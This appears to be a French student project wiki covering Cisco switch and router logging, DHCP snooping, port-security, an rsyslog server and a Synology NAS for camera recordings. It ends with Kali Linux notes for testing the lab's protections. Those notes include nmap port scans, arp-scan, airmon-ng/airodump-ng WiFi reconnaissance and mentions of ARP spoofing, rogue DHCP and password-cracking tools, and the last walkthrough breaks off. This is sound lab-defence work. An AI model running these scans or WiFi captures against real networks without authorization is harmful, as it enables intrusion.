<table border="1" id="bkmrk-logging-buffered-163" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>logging buffered 16384 warnings</td></tr></tbody></table>

  
Sur PuTTy, sur le swicth :

<div id="bkmrk-2.1.-activer-horodat" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">2.1. Activer horodatage</div><div id="bkmrk-service-timestamps-l" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">service timestamps log datetime msec localtime show-timezone</div><div class="scriptor-paragraph">service sequence-numbers</div></td></tr></tbody></table>

</div><div id="bkmrk-2.2.-envoi-vers-serv" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">2.2. Envoi vers serveur Syslog</div><div id="bkmrk-logging-host-192.168" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">logging host 192.168.99.10</div><div class="scriptor-paragraph">logging trap informational</div><div class="scriptor-paragraph">logging on</div></td></tr></tbody></table>

</div><div id="bkmrk-2.3.-port---security" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">2.3. Port - Security (violation des MAC)</div><div id="bkmrk-%C2%A0" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><tbody><tr><td> </td></tr></tbody></table>

</div><div id="bkmrk-2.4.-dhcp-snooping-%28" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">2.4. DHCP Snooping (serveur DHCP protégé)  
Activation globalement : </div><div id="bkmrk-ip-dhcp-snooping-ip-" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">ip dhcp snooping</div><div class="scriptor-paragraph">ip dhcp snooping vlan 10,20,30,40,50</div></td></tr></tbody></table>

</div><div id="bkmrk-marquer-les-ports-tr" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Marquer les ports trusted (vers serveur DHCP ou routeur) : </div><div id="bkmrk-interface-gigabiteth-1" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">interface GigabitEthernet0/1</div><div class="scriptor-paragraph">ip dhcp snooping trust</div></td></tr></tbody></table>

</div>Logs spécifiques :

<table border="1" id="bkmrk-ip-dhcp-snooping-inf" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>ip dhcp snooping information option allow-untrusted</td></tr></tbody></table>

<div id="bkmrk-2.6.-spanning-tree-%28" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">2.6. Spanning Tree (STP)</div><div id="bkmrk-spanning-tree-loggin" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>spanning-tree logging</td></tr></tbody></table>

</div><div id="bkmrk-2.7.-interface-up%2Fdo" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">2.7. Interface up/down :</div><div id="bkmrk-pour-forcer-logs-%3A-i" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Pour forcer logs :</div><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">interface range Fa0/1 - 48</div><div class="scriptor-paragraph"> logging event link-status</div></td></tr></tbody></table>

</div></div>

# Mission 4 — Mettre en place le serveur de logs (rsyslog)

<div id="bkmrk-objectif-%3A-r%C3%A9ception">**Objectif** : Réceptionner les logs en **UDP/TCP 514** sur une VM Debian/Ubuntu.</div><div id="bkmrk-"></div><div id="bkmrk---%3E-le-faire-sur-lin">Sur PC Ubuntu : </div><div id="bkmrk-installation-de-rsys"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Activer la réception des logs :</div></div><div id="bkmrk-sudo-apt-update-sudo"><table border="1" style="border-collapse: collapse; width: 100%; height: 35.7167px;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr style="height: 35.7167px;"><td style="height: 35.7167px;">sudo nano /etc/rsyslog.conf  
</td></tr></tbody></table>

</div><div id="bkmrk-d%C3%A9commenter-%3A" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Décommenter :</div><table border="1" id="bkmrk-sudo-sed--i-%27s%2F%23modu" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">module(load="imudp")   
input(type="imudp" port="514")</div></td></tr></tbody></table>

Redémarrer :

<table border="1" id="bkmrk-sudo-systemctl-resta" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>sudo systemctl restart rsyslog</td></tr></tbody></table>

Pour voir les logs :

<table border="1" id="bkmrk-sudo-tail--f-%2Fvar%2Flo" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>sudo tail -f /var/log/syslog</td></tr></tbody></table>

\--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

PuTTy routeur + switch :

<div id="bkmrk-activer-l%27horodatage" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Activer l'horodatage :</div><div id="bkmrk-service-timestamps-l" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">service timestamps log datetime msec localtime show-timezone</div><div class="scriptor-paragraph">service sequence-numbers</div></td></tr></tbody></table>

</div><div id="bkmrk-logs-interfaces-%28up%2F" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Logs interfaces (UP/DOWN) Switch et Routeur : </div><div id="bkmrk-logging-event-link-s" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>logging event link-status</td></tr></tbody></table>

</div><div id="bkmrk-5.-acl-avec-logs-%28se" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">5. ACL avec logs (seulement Routeur)</div><div id="bkmrk-ip-access-list-exten" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;"><table border="1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">ip access-list extended SECURITE</div><div class="scriptor-paragraph"> deny ip any any log</div><div class="scriptor-paragraph"> permit ip any any</div>  
<div class="scriptor-paragraph">interface gi0/0/0</div><div class="scriptor-paragraph"> ip access-group SECURITE in</div><div class="scriptor-paragraph">  
</div><div class="scriptor-paragraph">interface gi0/0/1</div><div class="scriptor-paragraph"> ip access-group SECURITE in</div></td></tr></tbody></table>

</div>Port-Security (Switch) :

Téléphone + PC téléphone :

<table border="1" id="bkmrk-interface-range-fa0%2F" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">interface range fa0/6 , fa0/7, fa0/8</div><div class="scriptor-paragraph"> switchport mode access</div><div class="scriptor-paragraph"> switchport port-security</div><div class="scriptor-paragraph"> switchport port-security maximum 2</div><div class="scriptor-paragraph"> switchport port-security mac-address sticky</div><div class="scriptor-paragraph"> switchport port-security violation restrict</div></td></tr></tbody></table>

CaméraIP :

<table border="1" id="bkmrk-interface-range-fa0%2F-1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">interface range fa0/19 , fa0/20</div><div class="scriptor-paragraph"> switchport mode access</div><div class="scriptor-paragraph"> switchport port-security</div><div class="scriptor-paragraph"> switchport port-security maximum 1</div><div class="scriptor-paragraph"> switchport port-security mac-address sticky</div><div class="scriptor-paragraph"> switchport port-security violation shutdown</div></td></tr></tbody></table>

<div id="bkmrk-sur-pc-ubuntu-%3A%C2%A0">Sur PC Ubuntu : </div><div id="bkmrk-activer-la-r%C3%A9ception"><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Activer la réception des logs :</div></div><div id="bkmrk-sudo-nano-%2Fetc%2Frsysl"><table border="1" style="border-collapse: collapse; width: 100%; height: 35.7167px;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr style="height: 35.7167px;"><td style="height: 35.7167px;">sudo nano /etc/rsyslog.conf  
</td></tr></tbody></table>

</div><div id="bkmrk-d%C3%A9commenter-%3A-1" style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">Décommenter :</div><table border="1" id="bkmrk-module%28load%3D%22imudp%22%29" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td><div style="font-family: 'Segoe UI'; font-size: 14px; font-style: normal; font-weight: 400; line-height: 20px;">module(load="imudp")   
input(type="imudp" port="514")</div></td></tr></tbody></table>

Redémarrer :

<table border="1" id="bkmrk-sudo-systemctl-resta-1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>sudo systemctl restart rsyslog</td></tr></tbody></table>

Pour voir les logs :

<table border="1" id="bkmrk-sudo-tail--f-%2Fvar%2Flo-1" style="border-collapse: collapse; width: 100.061%;"><colgroup><col style="width: 99.7465%;"></col></colgroup><tbody><tr><td>sudo tail -f /var/log/syslog</td></tr></tbody></table>

\--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

<table border="1" id="bkmrk--2" style="border-collapse: collapse; width: 100.061%;"><tbody><tr><td>  
</td></tr></tbody></table>

# Mission 5 — Déployer NTP + logs sur toute l’infra

<div id="bkmrk-objectif-%3A-appliquer">**Objectif** : Appliquer NTP et logging sur tous les routeurs &amp; switchs de la maquette (plan d’E3)</div><div id="bkmrk-"></div><div id="bkmrk---%3E-utilisation-des-">--&gt; Utilisation des missions 1 et 3.</div><div id="bkmrk--1"></div><div id="bkmrk-le-contr%C3%B4ler-%3A%C2%A0">Le contrôler : </div><div id="bkmrk-show-run-%7C-include-n"><table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>show run | include ntp|logging

show clock

</td></tr></tbody></table>

</div><div id="bkmrk-v%C3%A9rifier-cot%C3%A9-rsyslo">Vérifier coté rsyslog --&gt; OK ?</div><div id="bkmrk-avec---%3E-sudo-tail--">avec --&gt; sudo tail -f /var/log/syslog</div>

# Mission 6 — NAS Synology (stockage & sauvegardes)

<div id="bkmrk-objectif-%3A-mettre-en">**Objectif** : Mettre en place du stockage réseau (partages), pour sauvegardes de configs et vidéo.</div><div id="bkmrk---%3E-https%3A%2F%2Fwww.cnil">--&gt; [https://www.cnil.fr/fr/la-videosurveillance-au-travail](https://www.cnil.fr/fr/la-videosurveillance-au-travail)</div><div id="bkmrk---%3E-https%3A%2F%2Fwww.cnil-1">--&gt; [https://www.cnil.fr/sites/cnil/files/atoms/files/cameras-intelligentes-augmentees\_position\_cnil.pdf](https://www.cnil.fr/sites/cnil/files/atoms/files/cameras-intelligentes-augmentees_position_cnil.pdf)</div><div id="bkmrk-"></div>### Étapes

<div id="bkmrk-brancher-le-nas-sur-"><div>1. **Brancher** le NAS sur le **switch** (VLAN défini par E3). Obtenir l’IP (DHCP ou statique).
2. **Accéder** à **DSM** : navigateur → `http://IP_NAS:5000`.
3. **Créer volumes** (SHR/RAID1 selon nb de disques), **Btrfs** recommandé.
4. **Créer partages** : 
    - `Cisco_logs`
    - `cameras`
5. **Activer protocoles** : **SMB** (Windows), **NFS** si nécessaire.
6. **Comptes &amp; droits** : créer groupes/profils.
7. **Rétention** : activer **snapshots** / quotas si Btrfs.

</div></div># Installation et configuration un NAS

1\. Objectif  
Le but du NAS est de regrouper toutes les données et de garder les vidéos des caméras de surveillance. On peut regarder les vidéos jusqu'à une semaine en arrière, comme demandé dans le projet IRS-SI.

NAS utilisé : Synology DS920+

2\. Matériels   
• NAS Synology DS920+ avec des disques durs faits pour ça  
• Caméras IP qui marchent avec ONVIF  
• Switch et routeur pour le réseau  
• Adresse IP fixe pour le NAS

3\. Installer le système DSM  
Après avoir installé le NAS et branché au réseau, on installe DSM via le site suivant :

<div class="page-content clearfix" component="page-display" id="bkmrk-https%3A%2F%2Ffind.synolog" option:page-display:page-id="67"><div dir="auto"><table border="1" id="bkmrk-https%3A%2F%2Ffind.synolog-1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>https://find.synology.com</td></tr></tbody></table>

</div></div>Une fois le NAS déctecté :

<div class="page-content clearfix" component="page-display" id="bkmrk-installation-automat" option:page-display:page-id="67"><div dir="auto">- Installation automatique de DSM
- Création d'un compte administrateur bien protégé pendant cette étape (mot de passe fort).

</div></div>4\. Régler l'heure et le NTP  
On met le fuseau horaire sur Europe/Paris. L'heure se règle avec le serveur NTP, comme ça les vidéos et les infos du système ont la bonne heure. --&gt; Si internet fonctionnel

<div class="page-content clearfix" component="page-display" id="bkmrk-fr.pool.ntp.org" option:page-display:page-id="67"><div dir="auto"><table border="1" id="bkmrk-fr.pool.ntp.org-1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>fr.pool.ntp.org</td></tr></tbody></table>

</div></div>Cette configuration garantit un horodatage fiable des vidéos et des journaux système.

5\. Configurer le stockage

On installe Surveillance Station depuis le Centre de paquets DSM (dans le NAS).   
On ouvre l'application "Enregistrement", on crée un espace de stockage SHR avec un volume en Btrfs, pour éviter de perdre des données en cas de problème.

[![1.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/1.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/1.png)

[![3.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/3.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/3.png)

[![4.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/4.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/4.png)

6\. Installer la vidéosurveillance  
On ajoute les caméras IP :

[![5.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/5.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/5.png)[![6.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/6.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/6.png)

On les sélectionne, et puis on les configurent :

<div class="page-content clearfix" component="page-display" id="bkmrk-via-le-protocole-onv" option:page-display:page-id="67"><div dir="auto">- Via le protocole ONVIF
- Avec leurs adresses IP et identifiants (Authentifier)
- Test de connexion validé

</div></div>[![7.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/7.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/7.png)

[![9.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/9.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/9.png)

[![14.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/14.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/14.png)

On ajoute la plage horaire les comportement des caméras IP souhaitées.  
On prend en compte les horaire de la PME fictive, selon les règles de la CNIL et les recommandation de l'ANSSI, avec citations.

7\. Garder les vidéos  
On met une règle pour garder les vidéos une semaine max (7 jours), après elles s'effacent automatiquement.

[![15.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/15.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/15.png)

8\. Sécuriser l'accès  
On crée des comptes pour chaque personne avec des droits limités pour la consultation des vidéos. Seules les personnes autorisées peuvent accéder à DSM et Surveillance Station.

9\. Vérifications  
On vérifie que les vidéos s'enregistrent bien, qu'on peut les regarder, qu'elles s'effacent après une semaine et que l'heure est bonne.

[![17.png](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/scaled-1680-/17.png)](https://wiki-matheo.kermorvant.fr/uploads/images/gallery/2026-04/17.png)

Note : Utilisation d'une basse qualité de caméra pour en garde une visibilité pour économiser du stockage.

# Mission 7 — Caméra IP D‑Link DCS‑4602EV (rétention 7 jours)

<div id="bkmrk-objectif-%3A%C2%A0le-but-du"><div>Objectif :   
Le but du NAS est de regrouper toutes les données et de garder les vidéos des caméras de surveillance. On peut regarder les vidéos jusqu'à une semaine en arrière, comme demandé dans le projet IRSISI.</div><div id="bkmrk---%3E-https%3A%2F%2Fwww.cnil">Sources à utiliser :   
--&gt; [https://www.cnil.fr/fr/la-videosurveillance-au-travail](https://www.cnil.fr/fr/la-videosurveillance-au-travail)</div><div id="bkmrk---%3E-https%3A%2F%2Fwww.cnil-1">--&gt; [https://www.cnil.fr/sites/cnil/files/atoms/files/cameras-intelligentes-augmentees\_position\_cnil.pdf](https://www.cnil.fr/sites/cnil/files/atoms/files/cameras-intelligentes-augmentees_position_cnil.pdf)</div> **Alimentation** : switch **PoE** (ou injecteur).  
  
**Découverte IP** : via DHCP/switch (`show dhcp binding` si relay) ou scan.  
 **Connexion web** : `http://IP_CAMERA` → **changer mot de passe** admin, vérifier **firmware**.  
  
**Intégration NAS** : - NAS → **Surveillance Station** → **Ajouter** caméra → modèle **D‑Link DCS‑4602EV** → saisir IP/login.
- **Définir rétention** : 7 jours pour le dossier `cameras`.

**Test** : déclencher mouvement, vérifier lecture et purge &gt; 7 jours.  
  
<div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix">-------------------------------------------------</div><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix">  
</div></div>2\. Matériels   
• NAS Synology DS920+ avec des disques durs faits pour ça  
• Caméras IP qui marchent avec ONVIF  
• Switch et routeur pour le réseau  
• Adresse IP fixe pour le NAS

3\. Installer le système DSM  
Après avoir installé le NAS et branché au réseau, on installe DSM via le site suivant :

<div id="bkmrk-https%3A%2F%2Ffind.synolog"><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix"><table border="1" id="bkmrk-https%3A%2F%2Ffind.synolog-1"><colgroup><col></col></colgroup><tbody><tr><td>https://find.synology.com</td></tr></tbody></table>

</div></div>Une fois le NAS déctecté :

<div id="bkmrk-installation-automat"><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix">- Installation automatique de DSM
- Création d'un compte administrateur bien protégé pendant cette étape (mot de passe fort).

</div></div>4\. Régler l'heure et le NTP  
On met le fuseau horaire sur Europe/Paris. L'heure se règle avec le serveur NTP, comme ça les vidéos et les infos du système ont la bonne heure.

<div id="bkmrk-fr.pool.ntp.org"><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix"><table border="1" id="bkmrk-fr.pool.ntp.org-1"><colgroup><col></col></colgroup><tbody><tr><td>fr.pool.ntp.org</td></tr></tbody></table>

</div></div>Cette configuration garantit un horodatage fiable des vidéos et des journaux système.

5\. Configurer le stockage  
On crée un espace de stockage SHR avec un volume en Btrfs, pour éviter de perdre des données en cas de problème.

6\. Installer la vidéosurveillance  
On installe Surveillance Station depuis le Centre de paquets DSM.

Les caméras IP sont ajoutées :

<div id="bkmrk-via-le-protocole-onv"><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix">- Via le protocole ONVIF
- Avec leurs adresses IP et identifiants
- Test de connexion validé

</div></div>7\. Garder les vidéos  
On met une règle pour garder les vidéos une semaine max (7 jours), après elles s'effacent automatiquement.

8\. Sécuriser l'accès  
On crée des comptes pour chaque personne avec des droits limités pour la consultation des vidéos. Seules les personnes autorisées peuvent accéder à DSM et Surveillance Station.

9\. Vérifications  
On vérifie que les vidéos s'enregistrent bien, qu'on peut les regarder, qu'elles s'effacent après une semaine et que l'heure est bonne.

<div id="bkmrk-"><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix"></div></div>Pour conclure  
Le NAS Synology DS920+ est top pour garder et utiliser les vidéos de surveillance du projet IRSI-SI. Il est fiable, bien protégé et fait ce qu'on lui demande.

<div id="bkmrk-alimentation-%3A-switc"><div aria-atomic="true" aria-live="polite" class="___1e35os6 f1euv43f f4spc52 frkrog8 f1mpe4l3 f1a3p1vp f1w1vubc f1wch0ki fz5stix">  
</div></div>

# Mission 8 — Fiches outils Kali (étude & documentation)

<div id="bkmrk-objectif-%3A-pour-chaq">**Objectif** : Pour chaque outil (Nmap, Wireshark, arp‑scan/DAI, DHCP tools, Aircrack‑ng, Hydra), fournir une fiche simple : pourquoi dans IRS, comment l’utiliser, risques/éthique, preuves.  
  
--&gt; Kali Linux MV</div><div id="bkmrk-%23-nmap-%28exemples%29-nm"><table border="1" style="border-collapse: collapse; width: 100%; height: 63.3906px;"><tbody><tr style="height: 63.3906px;"><td style="height: 63.3906px;"><div class="scriptor-paragraph">\# Nmap (exemples)</div><div class="scriptor-paragraph">nmap -sn 172.16.10.0/24</div><div class="scriptor-paragraph">nmap -sS -sV -p 22,80,443 172.16.10.1</div></td></tr></tbody></table>

</div><div id="bkmrk-risques%2Flimites-%3A-br">**Risques/limites** : bruit réseau si scans agressifs → faire ça sur VLAN de test uniquement.</div><div id="bkmrk-%C3%89thique%2Fl%C3%A9galit%C3%A9-%3A-p">**Éthique/légalité** : périmètre maquette, accord prof</div><div id="bkmrk-preuves-%3A-captures-d"><div>**Preuves** : captures de sortie + entrée syslog correspondante (horodatée via NTP)</div></div><div id="bkmrk-"><div class="scriptor-paragraph"></div></div>

# Mission 9 — Tester les protections avec Kali

<div id="bkmrk-objectif-%3A-prouver-q">**Objectif** : Prouver que Port‑Security, DHCP Snooping, Dynamic ARP Inspection, ACL/pare‑feu, Wi‑Fi résistent, et que tout est journalisé sur le serveur de logs.</div><div id="bkmrk-"></div><div id="bkmrk-cas-de-test-%3A%C2%A0">Cas de test : </div>**Port‑Security**

<div id="bkmrk-brancher-pc%E2%80%91a-%28mac%E2%80%911"><div>1. Brancher PC‑A (MAC‑1) → OK.
2. Remplacer par Kali (MAC‑2) → violation attendue.
3. Vérifier :

</div></div><table border="1" id="bkmrk-show-port-security-i" style="border-collapse: collapse; width: 100%; height: 29.7969px;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr style="height: 29.7969px;"><td style="height: 29.7969px;"><div class="scriptor-paragraph">show port-security interface GiX/Y</div><div class="scriptor-paragraph">show logging</div></td></tr></tbody></table>

\--&gt; Sur rsyslog, il doit y avoir une alerte !!!

<div id="bkmrk-dhcp-snooping">**DHCP Snooping**</div><div id="bkmrk-sur-kali-%3A">Sur Kali :</div><div id="bkmrk-sudo-dhclient--v-eth"><table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>sudo dhclient -v eth0</td></tr></tbody></table>

</div>\--&gt; Tenter faux serveur (sur port non-trusted) --&gt; Il doit échouer côté client

Vérifier dans Wireshark --&gt; Filtrer "bootp" + logs switch.

<div id="bkmrk-dai-%28arp-inspection%29">**DAI (ARP Inspection)**</div><div id="bkmrk-observation-de-l%27arp">Observation de l'ARP :</div><div id="bkmrk-sudo-arp-scan---inte"><table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>sudo arp-scan --interface eth0 --localnet</td></tr></tbody></table>

</div><div id="bkmrk-tenter-arp-spoof-%28po">Tenter ARP spoof (poste de test) --&gt; DAI doit le bloquer  
  
Pour le contrôler : </div><div id="bkmrk-show-ip-arp-inspecti"><table border="1" style="border-collapse: collapse; width: 100%;"><tbody><tr><td>show ip arp inspection statistics

show logging

</td></tr></tbody></table>

</div>\--&gt; Faire une capture Wireshark filtre arp

<div id="bkmrk-acl%2Fpare%E2%80%91feu-routeur">**ACL/Pare‑feu routeur**</div>Depuis Kali (VLAN test), scanner services admin routeur/NAS :

<table border="1" id="bkmrk-nmap--ss--p-22%2C23%2C80" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>nmap -sS -p 22,23,80,443,161,514 (IP routeur)</td></tr></tbody></table>

Essais directs (doivent normalement échouer) :

<table border="1" id="bkmrk-ssh-admin%40172.16.0.1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">ssh admin@172.16.0.1</div><div class="scriptor-paragraph">curl -k https://172.16.0.1</div></td></tr></tbody></table>

 → Attendu : **inaccessible** (filtré). Logs côté routeur/rsyslog

<div id="bkmrk-borne-de-test">**Borne de test**</div><div id="bkmrk-recon-%3A">Recon :</div><div id="bkmrk-sudo-airmon-ng-start"><table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td><div class="scriptor-paragraph">sudo airmon-ng start wlan0</div><div class="scriptor-paragraph">airodump-ng wlan0mon</div></td></tr></tbody></table>

</div><div id="bkmrk-tra%C3%A7abilit%C3%A9-test-sud"><div>**Traçabilité**</div><div>Test</div><div><table border="1" style="border-collapse: collapse; width: 100%;"><colgroup><col style="width: 99.8765%;"></col></colgroup><tbody><tr><td>sudo tail -f /var/log/syslog</td></tr></tbody></table>

</div></div>Heure (NTP) cohérent et avec des événements (routeur + switch).

BONUS (IL FAUT DEMANDER) :

- **Ettercap/Bettercap** (démonstration DAI)
- **John the Ripper** (hash fourni)

\--------------------------------------------------------------------------------------------------------------------------

Pour effectuer un test de pénétration sur une borne WiFi en utilisant Kali Linux, vous pouvez suivre ces étapes et utiliser les commandes appropriées. Ces étapes simulent une attaque pour évaluer les vulnérabilités du réseau WiFi.

1\. **Analyse du réseau WiFi**

**Commande :** `airodump-ng`

**Description :** Cette commande permet de scanner les réseaux WiFi disponibles et de capturer les paquets pour analyser les trames de données.

**Exemple :**

**airodump-ng wlan0**

2\. **Détection des clients connectés**

**Commande :** `airodump-ng`

**Description :** Vous pouvez utiliser `airodump-ng` pour détecter les clients connectés à un réseau WiFi spécifique.

**Exemple :**

<div class="cm-theme" id="bkmrk-airodump-ng---bssid-" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5);"><div class="cm-editor ͼ1 ͼ3 ͼ4 ͼ1g ͼo" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); flex-direction: column; position: relative !important; display: flex !important; color: rgb(171, 178, 191); background-color: transparent !important; height: auto; max-height: 500px; width: 586px; font-family: 'Fira Code', 'Courier New', monospace; font-size: 0.9rem;"><div aria-live="polite" class="cm-announced" style="box-sizing: border-box; border: 0px solid rgb(93, 117, 193); margin: 0px; padding: 0px; outline-color: oklab(0.693904 -0.00146142 -0.148068 / 0.5); position: fixed; top: -10000px;">  
